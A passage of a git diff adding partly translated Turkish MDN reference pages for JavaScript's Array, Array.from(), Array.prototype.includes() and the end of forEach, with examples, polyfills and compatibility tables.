id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.6.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.forEach")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.find()")}}</li> + <li>{{jsxref("Array.prototype.findIndex()")}}</li> + <li>{{jsxref("Array.prototype.map()")}}</li> + <li>{{jsxref("Array.prototype.every()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> + <li>{{jsxref("Map.prototype.forEach()")}}</li> + <li>{{jsxref("Set.prototype.forEach()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/from/index.html b/files/tr/web/javascript/reference/global_objects/array/from/index.html new file mode 100644 index 0000000000..d0d45add78 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/from/index.html @@ -0,0 +1,258 @@ +--- +title: Array.from() +slug: Web/JavaScript/Reference/Global_Objects/Array/from +translation_of: Web/JavaScript/Reference/Global_Objects/Array/from +--- +<div>{{JSRef}}</div> + +<p><code><strong>Array.from()</strong></code> metodu bir dizi-benzeri veya gezinilebilir bir nesneden yeni bir Dizi örneği oluşturur.</p> + +<pre class="brush: js">Array.from("birşey"); +// ["b", "i", "r", "ş", "e", "y"]</pre> + +<h2 id="Söz_dizimi">Söz dizimi</h2> + +<pre class="syntaxbox">Array.from(arrayLike[, mapFn[, thisArg]]) +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>arrayLike</code></dt> + <dd>Diziye çevrilecek olan dizi-benzeri ya da gezinilebilir nesnedir.</dd> + <dt><code>mapFn</code></dt> + <dd>İsteğe bağlı. Map fonksiyonu tüm dizi öğeleri için çağrılır.</dd> + <dt><code>thisArg</code></dt> + <dd>İsteğe bağlı. <code>mapFn fonksiyonu işletilirken kullanılacak olan this argüman değeridir.</code></dd> +</dl> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Yeni bir {{jsxref("Array")}} örneği.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>Array.from(),</code> aşağıdaki yapılardan <code>Diziler</code> oluşturmanıza izin verir:</p> + +<ul> + <li>dizi-benzeri nesneler (sıralı öğeler ve bir uzunluk(<code>length</code>) özelliği olan nesneler) ya da</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/iterable">gezinilebilir nesneler</a> (öğelerini alabildiğiniz nesneler, {{jsxref("Map")}} ve {{jsxref("Set")}} gibi).</li> +</ul> + +<p><code>Array.from()</code> has an optional parameter <code>mapFn</code>, which allows you to execute a {{jsxref("Array.prototype.map", "map")}} function on each element of the array (or subclass object) that is being created. More clearly,<code> Array.from(obj, mapFn, thisArg)</code> has the same result as <code>Array.from(obj).map(mapFn, thisArg)</code>, except that it does not create an intermediate array. This is especially important for certain array subclasses, like <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>, since the intermediate array would necessarily have values truncated to fit into the appropriate type.</p> + +<p>The <code>length</code> property of the <code>from()</code> method is 1.</p> + +<p>In ES2015, the class syntax allows for sub-classing of both built-in and user defined classes; as a result, static methods such as <code>Array.from</code> are "inherited" by subclasses of <code>Array</code> and create new instances of the subclass, not <code>Array</code>.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_metinden_Dizi_oluşturma">Bir metinden Dizi oluşturma</h3> + +<pre class="brush: js">Array.from("birşey"); +// ["b", "i", "r", "ş", "e", "y"]</pre> + +<h3 id="Bir_Set_nesnesinden_Dizi_oluşturma">Bir <code>Set nesnesinden Dizi oluşturma</code></h3> + +<pre class="brush: js">var s = new Set(["birşey", window]); +Array.from(s); +// ["birşey", window]</pre> + +<h3 id="Bir_Map_nesnesinden_Dizi_oluşturma">Bir <code>Map nesnesinden Dizi oluşturma</code></h3> + +<pre class="brush: js">var m = new Map([[1, 2], [2, 4], [4, 8]]); +Array.from(m); +// [[1, 2], [2, 4], [4, 8]]</pre> + +<h3 id="Bir_dizi-benzeri_nesneden_dizi_oluşturma_(argümanlar)">Bir dizi-benzeri nesneden dizi oluşturma (argümanlar)</h3> + +<pre class="brush: js">function f() { + return Array.from(arguments); +} + +f(1, 2, 3); + +// [1, 2, 3]</pre> + +<h3 id="Ok_işlevleri_ve_Array.from_kullanma">Ok işlevleri ve <code>Array.from kullanma</code></h3> + +<pre class="brush: js">// Bir işlevini, map işlevi olarak kullanıp +// öğeler üzerinde oynama yapmak +Array.from([1, 2, 3], x => x + x); +// [2, 4, 6] + + +// Generate a sequence of numbers +// Since the array is initialized with `undefined` on each position, +// the value of `v` below will be `undefined` +Array.from({length: 5}, (v, i) => i); +// [0, 1, 2, 3, 4] +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>Array.from</code> was added to the ECMA-262 standard in the 6th edition (ES2015); as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>Array.from</code> in implementations that don't natively support it. This algorithm is exactly the one specified in ECMA-262, 6th edition, assuming <code>Object</code> and <code>TypeError</code> have their original values and that <code>callback.call</code> evaluates to the original value of {{jsxref("Function.prototype.call")}}. In addition, since true iterables can not be polyfilled, this implementation does not support generic iterables as defined in the 6th edition of ECMA-262.</p> + +<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1 +if (!Array.from) { + Array.from = (function () { + var toStr = Object.prototype.toString; + var isCallable = function (fn) { + return typeof fn === 'function' || toStr.call(fn) === '[object Function]'; + }; + var toInteger = function (value) { + var number = Number(value); + if (isNaN(number)) { return 0; } + if (number === 0 || !isFinite(number)) { return number; } + return (number > 0 ? 1 : -1) * Math.floor(Math.abs(number)); + }; + var maxSafeInteger = Math.pow(2, 53) - 1; + var toLength = function (value) { + var len = toInteger(value); + return Math.min(Math.max(len, 0), maxSafeInteger); + }; + + // The length property of the from method is 1. + return function from(arrayLike/*, mapFn, thisArg */) { + // 1. Let C be the this value. + var C = this; + + // 2. Let items be ToObject(arrayLike). + var items = Object(arrayLike); + + // 3. ReturnIfAbrupt(items). + if (arrayLike == null) { + throw new TypeError("Array.from requires an array-like object - not null or undefined"); + } + + // 4. If mapfn is undefined, then let mapping be false. + var mapFn = arguments.length > 1 ? arguments[1] : void undefined; + var T; + if (typeof mapFn !== 'undefined') { + // 5. else + // 5. a If IsCallable(mapfn) is false, throw a TypeError exception. + if (!isCallable(mapFn)) { + throw new TypeError('Array.from: when provided, the second argument must be a function'); + } + + // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined. + if (arguments.length > 2) { + T = arguments[2]; + } + } + + // 10. Let lenValue be Get(items, "length"). + // 11. Let len be ToLength(lenValue). + var len = toLength(items.length); + + // 13. If IsConstructor(C) is true, then + // 13. a. Let A be the result of calling the [[Construct]] internal method + // of C with an argument list containing the single item len. + // 14. a. Else, Let A be ArrayCreate(len). + var A = isCallable(C) ? Object(new C(len)) : new Array(len); + + // 16. Let k be 0. + var k = 0; + // 17. Repeat, while k < len… (also steps a - h) + var kValue; + while (k < len) { + kValue = items[k]; + if (mapFn) { + A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k); + } else { + A[k] = kValue; + } + k += 1; + } + // 18. Let putStatus be Put(A, "length", len, true). + A.length = len; + // 20. Return A. + return A; + }; + }()); +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.from', 'Array.from')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("45")}}</td> + <td>{{CompatGeckoDesktop("32")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>9.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("32")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Array.prototype.map()")}}</li> + <li>{{jsxref("TypedArray.from()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/includes/index.html b/files/tr/web/javascript/reference/global_objects/array/includes/index.html new file mode 100644 index 0000000000..7ccb8cebc9 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/includes/index.html @@ -0,0 +1,176 @@ +--- +title: Array.prototype.includes() +slug: Web/JavaScript/Reference/Global_Objects/Array/includes +translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes +--- +<div>{{JSRef}}</div> + +<p><code><strong>includes()</strong></code> metodu bir dizinin belirli bir elemanı içerip içermediğini belirler, içeriyorsa <code>true</code> içermiyorsa <code>false</code> değeri döndürür. Aranan öğenin bulunup bulunmadığını belirlemek için <code>sameValueZero</code> algoritmasını kullanır.</p> + +<pre class="brush: js">var a = [1, 2, 3]; +a.includes(2); // true +a.includes(4); // false +</pre> + +<p>{{EmbedInteractiveExample("pages/js/array-includes.html")}} </p> + +<div> +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> +</div> + +<h2 id="Söz_Dizimi">Söz Dizimi</h2> + +<pre class="syntaxbox"><var>arr</var>.includes(<var>searchElement</var>) +<var>arr</var>.includes(<var>searchElement</var>, <var>fromIndex</var>) +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>searchElement</code></dt> + <dd>Aranan eleman.</dd> + <dt><code>fromIndex</code> {{optional_inline}}</dt> + <dd>Dizide <code>searchElement</code> için aramanın başlatılacağı indis. Negatif bir değer, dizinin sonundan aramaya başlar. Varsayılan değer 0'dır.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>A {{jsxref("Boolean")}}.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">[1, 2, 3].includes(2); // true +[1, 2, 3].includes(4); // false +[1, 2, 3].includes(3, 3); // false +[1, 2, 3].includes(3, -1); // true +[1, 2, NaN].includes(NaN); // true +</pre> + +<h3 id="fromIndex_dizi_uzunluğundan_büyük_veya_eşitse"><code>fromIndex</code> dizi uzunluğundan büyük veya eşitse</h3> + +<p>Eğer <code>fromIndex</code> dizinin uzunluğundan büyük veya eşitse, false döndürülür. Dizi aranmaz.</p> + +<pre class="brush: js">var arr = ['a', 'b', 'c']; + +arr.includes('c', 3); //false +arr.includes('c', 100); // false</pre> + +<h3 id="Hesaplanan_indis_0'dan_küçükse">Hesaplanan indis 0'dan küçükse</h3> + +<p>Eğer <code>fromIndex</code> negatifse, hesaplanan indis, <code>searchElement</code> için aramaya başlanacak konum olarak belirlenir. Hesaplanmış indis 0'dan küçükse, dizinin tamamı aranır.</p> + +<pre class="brush: js">// array length is 3 +// fromIndex is -100 +// computed index is 3 + (-100) = -97 + +var arr = ['a', 'b', 'c']; + +arr.includes('a', -100); // true +arr.includes('b', -100); // true +arr.includes('c', -100); // true</pre> + +<h3 id="includes()_genel_bir_yöntem_olarak_kullanılması"><code>includes()</code> genel bir yöntem olarak kullanılması</h3> + +<p><code>includes()</code> yöntemi kasıtlı olarak geneldir. <code>this</code> değerinin bir Array nesnesi türünde olmasını gerektirmez, böylece diğer türlerdeki nesnelere (örn: dizi benzeri nesneler) uygulanabilir. Aşağıdaki örnek, fonksiyonun sahip olduğu <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">argümanlar</a> nesnesi için uygulanan <code>includes()</code> metodunu göstermektedir.</p> + +<pre class="brush: js">(function() { + console.log([].includes.call(arguments, 'a')); // true + console.log([].includes.call(arguments, 'd')); // false +})('a','b','c');</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.includes +if (!Array.prototype.includes) { + Object.defineProperty(Array.prototype, 'includes', { + value: function(searchElement, fromIndex) { + + if (this == null) { + throw new TypeError('"this" is null or not defined'); + } + + // 1. Let O be ? ToObject(this value). + var o = Object(this); + + // 2. Let len be ? ToLength(? Get(O, "length")). + var len = o.length >>> 0; + + // 3. If len is 0, return false. + if (len === 0) { + return false; + } + + // 4. Let n be ? ToInteger(fromIndex). + // (If fromIndex is undefined, this step produces the value 0.) + var n = fromIndex | 0; + + // 5. If n ≥ 0, then + // a. Let k be n. + // 6. Else n < 0, + // a. Let k be len + n. + // b. If k < 0, let k be 0. + var k = Math.max(n >= 0 ? n : len - Math.abs(n), 0); + + function sameValueZero(x, y) { + return x === y || (typeof x === 'number' && typeof y === 'number' && isNaN(x) && isNaN(y)); + } + + // 7. Repeat, while k < len + while (k < len) { + // a. Let elementK be the result of ? Get(O, ! ToString(k)). + // b. If SameValueZero(searchElement, elementK) is true, return true. + if (sameValueZero(o[k], searchElement)) { + return true; + } + // c. Increase k by 1. + k++; + } + + // 8. Return false + return false; + } + }); +} +</pre> + +<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code> desteklemeyen eski JavaScript motorlarını desteklemeniz gerekiyorsa, <code>Array.prototype</code> metodlarını non-enumerable yapamadığımız için polyfill uygulamamak daha iyidir.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td> + <td>{{Spec2('ES7')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.includes")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("TypedArray.prototype.includes()")}}</li> + <li>{{jsxref("String.prototype.includes()")}}</li> + <li>{{jsxref("Array.prototype.indexOf()")}}</li> + <li>{{jsxref("Array.prototype.find()")}}</li> + <li>{{jsxref("Array.prototype.findIndex()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/index.html b/files/tr/web/javascript/reference/global_objects/array/index.html new file mode 100644 index 0000000000..7cebdbba0f --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/index.html @@ -0,0 +1,371 @@ +--- +title: Diziler +slug: Web/JavaScript/Reference/Global_Objects/Array +tags: + - Array + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Array +--- +<div>{{JSRef}}</div> + +<p>JavaScript <strong><code>Array</code></strong> nesnesi, üst düzey, liste benzeri dizi yapıları için kullanılan genel bir nesnedir.</p> + +<p><strong>Bir dizi oluşturma</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var meyveler = ["Elma", "Muz"]; + +console.log(meyveler.length); +// 2</pre> + +<p><strong>Dizideki (indeks ile) elemana ulaşma</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var ilk = meyveler[0]; +// Elma + +var son = meyveler[meyveler.length - 1]; +/* Diziler sıfır-tabanlı olduğu için uzunluk-1'inci eleman son elemandır. +// Muz</pre> + +<p><strong>Bir dizi üzerinde döngü kurma</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">meyveler.forEach(function (item, index, array) { + console.log(item, index); +}); +// Elma 0 +// Muz 1</pre> + +<p><strong>Dizinin sonuna eleman ekleme</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var yeniDizi = meyveler.push("Portakal"); +// ["Elma", "Muz", "Portakal"]</pre> + +<p><strong>Dizi sonundan eleman kaldırma</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var son = meyveler.pop(); // Portakal elemanını kaldır(sondan) +// ["Elma", "Muz"];</pre> + +<p><strong>Dizi başından eleman kaldırma</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var ilk = fruits.shift(); // Elma elemanını kaldır(baştan) +// ["Muz"];</pre> + +<p><strong>Dizi başına eleman ekleme</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var yeniDizi = fruits.unshift("Çilek") // Başa ekle +// ["Çilek", "Muz"];</pre> + +<p><strong>Dizideki elemanın kaçıncı sırada olduğunu bulma</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">meyveler.push("Mango"); +// ["Çilek", "Muz", "Mango"] + +var pos = meyveler.indexOf("Muz"); +// 1</pre> + +<p><strong>Belirli bir sıradaki elemanı silme</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var silinenEleman = meyveler.splice(pos, 1); // bir elemanı kaldırma +// ["Çilek", "Mango"] +</pre> + +<p><strong>Dizi kopyalama</strong></p> + +<pre class="brush: js line-numbers language-js notranslate">var kopyalananDizi = meyveler.slice(); // +// ["Çilek", "Mango"]</pre> + +<h2 id="Söz_Dizimi">Söz Dizimi</h2> + +<pre class="syntaxbox notranslate">[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>] +new Array(<em>element0</em>, <em>element1</em>, ..., <em>elementN</em>) +new Array(<em>diziUzunlugu</em>) +</pre> + +<div class="note"> +<p><strong>Not: </strong>N + 1 = dizi uzunluğu</p> +</div> + +<dl> + <dt><code><var>element0</var>, <var>element1</var>, ..., <var>elementN</var> </code></dt> + <dd>Bir dizi <code>new Array() </code>nesnesine verilen argüman dışında(yukarıdaki diziUzunluğu argümanı gibi), verilen elemanlar ile oluşturulabilir.(Yukarıda görüldüğü üzere) Bu özel durum sadece <code>new Array()</code> nesnesiyle (<code>Array </code>Constructor) oluşturulan dizilere uygulanabilir, köşeli parantezler ( [ ve ] ) ile oluşturulan dizilere uygulanamaz.</dd> + <dt><code><var>arrayLength </var></code><var>(dizi uzunluğu)</var></dt> + <dd><code>array </code>nesnesinden sadece 0 ve 2<sup>32</sup>-1 (dahil) arasındaki tam sayılardan biri argüman olarak geçirilebilir.</dd> + <dd>If the only argument passed to the <code>Array</code> constructor is an integer between 0 and 2<sup>32</sup>-1 (inclusive), a new, empty JavaScript array and its length is set to that number. If the argument is any other number, a {{jsxref("Global_Objects/RangeError", "RangeError")}} exception is thrown.</dd> +</dl> + +<h2 id="Tanım">Tanım</h2> + +<p>Diziler liste benzeri nesnelerdir ve dönüştürme, tekrarlama gibi işlemlerini uygulamak için dahili methotlarla gelmektedir. JavaScript dizilerinin ne uzunlukları nede elemanları sabit değildir. Önceden tanımlamak gerekmez. Listenin uzunluğu her daim değişebilir ve dizi elemanları ayrık yerleştirilebilir. JavaScript dizilerin düzenli olmasını garanti etmez. Kullanımı tamamen geliştiricinin kullanım senaryosuna bağlıdır. Genel olarak bu yapı esnek ve kullanışlıdır fakat bu özelliklerin sizin belirli kullanım senaryonuzla uyuşup uyuşmadığını dikkate almalısınız.</p> + +<p>Note that <a class="external" href="http://www.andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/">you shouldn't use an array as an associative array</a>. You can use plain {{jsxref("Global_Objects/Object", "objects")}} instead, although doing so comes with its own caveats. See the post <a class="external" href="http://www.less-broken.com/blog/2010/12/lightweight-javascript-dictionaries.html" title="http://monogatari.doukut.su/2010/12/lightweight-javascript-dictionaries.html">Lightweight JavaScript dictionaries with arbitrary keys</a> as an example.</p> + +<h3 id="Dizi_nesnelerine_erişme">Dizi nesnelerine erişme</h3> + +<p>JS dizileri sıfır-tabanlı'dır. Yani ilk elemanın dizideki index'i 0'dır. Son elemanın index'i {{jsxref("Array.length", "length")}} değerinin bir eksiğine eşittir.</p> + +<pre class="brush: js notranslate">var arr = ["bu ilk eleman", "bu ikinci eleman"]; +console.log(arr[0]); // ilk elemanı yazdırır +console.log(arr[1]); // ikinci elemanı yazdırır +console.log(arr[arr.length - 1]); // son elemanı yazdırır +</pre> + +<p>Dizi öğeleri, {{jsxref("Array.toString", "toString")}} gibi sadece nesne özellikleridir. Geçersiz index numarası ile eleman çağırdığınız zaman <code>undefined</code> değerini alırsınız. Ancak, dizinin bir elemanına aşağıdaki gibi erişmeye çalışırsanız söz dizimi hatası alırsınız, çünkü özellik adı geçerli değildir.</p> + +<pre class="brush: js notranslate">console.log(arr.0); // bir söz dizimi hatasıdır +</pre> + +<p>Yukardaki kullanımın söz dizimi hatasına yol açmasında özel bir durum yoktur nokta ile gösterim sayı değeri ile başlayamaz tıpkı değişken tanımlamalarında olduğu gibi. Eğer '3d' isimli bir obje değerine ulaşmak istiyorsanız obj['3d'] çağırımını yapmalısınız.</p> + +<pre class="brush: js notranslate">var years = [1950, 1960, 1970, 1980, 1990, 2000, 2010]; +console.log(years.0); // söz dizimi hatası +console.log(years[0]); // çalışır +</pre> + +<pre class="brush: js notranslate">renderer.3d.setTexture(model, "character.png"); // söz dizimi hatası +renderer["3d"].setTexture(model, "character.png"); // çalışır +</pre> + +<p>Note that in the <code>3d</code> example, "<code>3d</code>" had to be quoted. It's possible to quote the JavaScript array indexes as well (e.g., <code>years["2"]</code> instead of <code>years[2]</code>), although it's not necessary. The 2 in <code>years[2]</code> eventually gets coerced into a string by the JavaScript engine, anyway, through an implicit <code>toString</code> conversion. It is for this reason that "2" and "02" would refer to two different slots on the <code>years</code> object and the following example logs <code>true</code>:</p> + +<pre class="brush: js notranslate">console.log(years["2"] != years["02"]); +</pre> + +<p>Similarly, object properties which happen to be reserved words(!) can only be accessed as string literals in bracket notation:</p> + +<pre class="brush: js language-js notranslate">var promise = { + 'var' : 'text', + 'array': [1, 2, 3, 4] +}; + +console.log(promise['array']);</pre> + +<h3 id="Uzunluk_ve_sayısal_özellikler_arasındaki_ilişki">Uzunluk ve sayısal özellikler arasındaki ilişki</h3> + +<p>Bir JavaScript dizisinin {{jsxref("Array.length", "length")}} özelliği ve sayısal özellikleri bağlıdır. Bir takım ön tanımlı dizi metotları (örn., {{jsxref("Array.join", "join")}}, {{jsxref("Array.slice", "slice")}}, {{jsxref("Array.indexOf", "indexOf")}}, vb.) çağrıldıklarında, dizinin {{jsxref("Array.length", "length")}} özellik değerini hesaba katar. Diğer metotlar (örn., {{jsxref("Array.push", "push")}}, {{jsxref("Array.splice", "splice")}}, vb.) daha çok dizinin {{jsxref("Array.length", "length")}} özelliğinin güncellenmesine neden olur.</p> + +<pre class="brush: js notranslate">var meyveler = []; +meyveler.push("muz", "elma", "şeftali"); + +console.log(meyveler.length); // 3</pre> + +<p>Uygun bir index değeri ile beraber, bir dizi elemanı güncellenirse ve ilgili index sayısı dizi sınırları dışında ise; dizi boyutu, verilen index'e uyum sağlayacak biçimde büyüyecek ve Javascript motoru, dizinin {{jsxref("Array.length", "length")}} özelliğini uygun şekilde güncelleyecektir.</p> + +<pre class="brush: js notranslate">fruits[3] = "mango"; +console.log(fruits[3]); +console.log(fruits.length); // 4</pre> + +<p>Uzunluk özelliğini doğrudan ayarlamak, özel bir davranışa neden olur.</p> + +<pre class="brush: js notranslate">fruits.length = 10; +console.log(fruits); // Dizi, tanımsız olarak doldurulur +console.log(fruits.length); // 10 +</pre> + +<p>Bu özellik {{jsxref("Array.length")}} sayfasında daha ayrıntılı olarak anlatılmıştır.</p> + +<h3 id="Bir_diziyi_eşleşen_bir_sonuç_ile_oluşturmak">Bir diziyi eşleşen bir sonuç ile oluşturmak</h3> + +<p>Bir düzenli ifadeye yollanan metin sonucu bir JavaScript dizisi oluşturulabilir. Bu dizi, eşleşen sonuca ait özellikleri ve ifadeleri içerir. Böyle bir dizi {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, ve {{jsxref("String.replace")}} tarafından döndürülür. Bu özellikler ve öğeleri açıklamaya yardımcı olabilmesi için aşağıdaki örneği ve altındaki tabloyu inceleyin.</p> + +<pre class="brush: js notranslate">// Match one d followed by one or more b's followed by one d +// Remember matched b's and the following d +// Ignore case + +var myRe = /d(b+)(d)/i; +var myArray = myRe.exec("cdbBdbsbz"); +</pre> + +<p>Eşleşen sonucun öğeleri ve özellikleri aşağıdaki gibidir:</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header">Özellik/Öğe</td> + <td class="header">Açıklama</td> + <td class="header">Örnek</td> + </tr> + <tr> + <td><code>input</code></td> + <td>Düzenli ifadeye yollanan metni işaret eden salt-okunur bir özelliktir.</td> + <td>cdbBdbsbz</td> + </tr> + <tr> + <td><code>index</code></td> + <td>Düzenli ifadeye yollanan metindeki eşleşmenin sıfır-tabanlı ve salt-okunur index özelliğidir.</td> + <td>1</td> + </tr> + <tr> + <td><code>[0]</code></td> + <td>Son eşleşen karakteri belirten salt-okunur bir özelliktir.</td> + <td>dbBd</td> + </tr> + <tr> + <td><code>[1], ...[n]</code></td> + <td>Read-only elements that specify the parenthesized substring matches, if included in the regular expression. The number of possible parenthesized substrings is unlimited.</td> + <td>[1]: bB<br> + [2]: d</td> + </tr> + </tbody> +</table> + +<h2 id="Özellikler">Özellikler</h2> + +<dl> + <dt>{{jsxref("Array.length")}}</dt> + <dd>The <code>Array</code> constructor's length property whose value is 1.</dd> + <dt>{{jsxref("Array.prototype")}}</dt> + <dd>Allows the addition of properties to all array objects.</dd> +</dl> + +<h2 id="Yöntemler">Yöntemler</h2> + +<dl> + <dt>{{jsxref("Array.from()")}} {{experimental_inline}}</dt> + <dd>Bir dizi benzeri veya bir yinelenebilir nesneden yeni bir Dizi örneği oluşturur.</dd> + <dt>{{jsxref("Array.isArray()")}}</dt> + <dd>Eğer bir dizi ise true, değilse false döndürür.</dd> + <dt>{{jsxref("Array.observe()")}} {{experimental_inline}}</dt> + <dd>Asynchronously observes changes to Arrays, similar to {{jsxref("Object.observe()")}} for objects. It provides a stream of changes in order of occurrence.</dd> + <dt>{{jsxref("Array.of()")}} {{experimental_inline}}</dt> + <dd>Creates a new <code>Array</code> instance with a variable number of arguments, regardless of number or type of the arguments.</dd> +</dl> + +<h2 id="Dizi_örnekleri"><code>Dizi</code> örnekleri</h2> + +<p>Tüm dizi örnekleri, {{jsxref("Array.prototype")}} 'dan türer. The prototype object of the <code>Array</code> constructor can be modified to affect all <code>Array</code> instances.</p> + +<h3 id="Özellikler_2">Özellikler</h3> + +<div>{{page('/tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Properties')}}</div> + +<h3 id="Metodlar">Metodlar</h3> + +<h4 id="Mutator_methods">Mutator methods</h4> + +<div>{{page('tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Mutator_methods')}}</div> + +<h4 id="Accessor_methods">Accessor methods</h4> + +<div>{{page('tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Accessor_methods')}}</div> + +<h4 id="Iteration_methods">Iteration methods</h4> + +<div>{{page('tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Iteration_methods')}}</div> + +<h2 id="Array_generic_methods"><code>Array</code> generic methods</h2> + +<p>Sometimes you would like to apply array methods to strings or other array-like objects (such as function {{jsxref("Functions/arguments", "arguments", "", 1)}}). By doing this, you treat a string as an array of characters (or otherwise treat a non-array as an array). For example, in order to check that every character in the variable <var>str</var> is a letter, you would write:</p> + +<pre class="brush: js notranslate">function isLetter(character) { + return (character >= "a" && character <= "z"); +} + +if (Array.prototype.every.call(str, isLetter)) + alert("The string '" + str + "' contains only letters!"); +</pre> + +<p>This notation is rather wasteful and JavaScript 1.6 introduced a generic shorthand:</p> + +<pre class="brush: js notranslate">if (Array.every(isLetter, str)) + alert("The string '" + str + "' contains only letters!"); +</pre> + +<p>{{jsxref("Global_Objects/String", "Generics", "#String_generic_methods", 1)}} are also available on {{jsxref("Global_Objects/String", "String")}}.</p> + +<p>These are currently not part of ECMAScript standards (though the ES6 {{jsxref("Array.from()")}} can be used to achieve this). The following is a shim to allow its use in all browsers:</p> + +<pre class="brush: js notranslate">// Assumes Array extras already present (one may use polyfills for these as well) +(function () { + 'use strict'; + + var i, + // We could also build the array of methods with the following, but the + // getOwnPropertyNames() method is 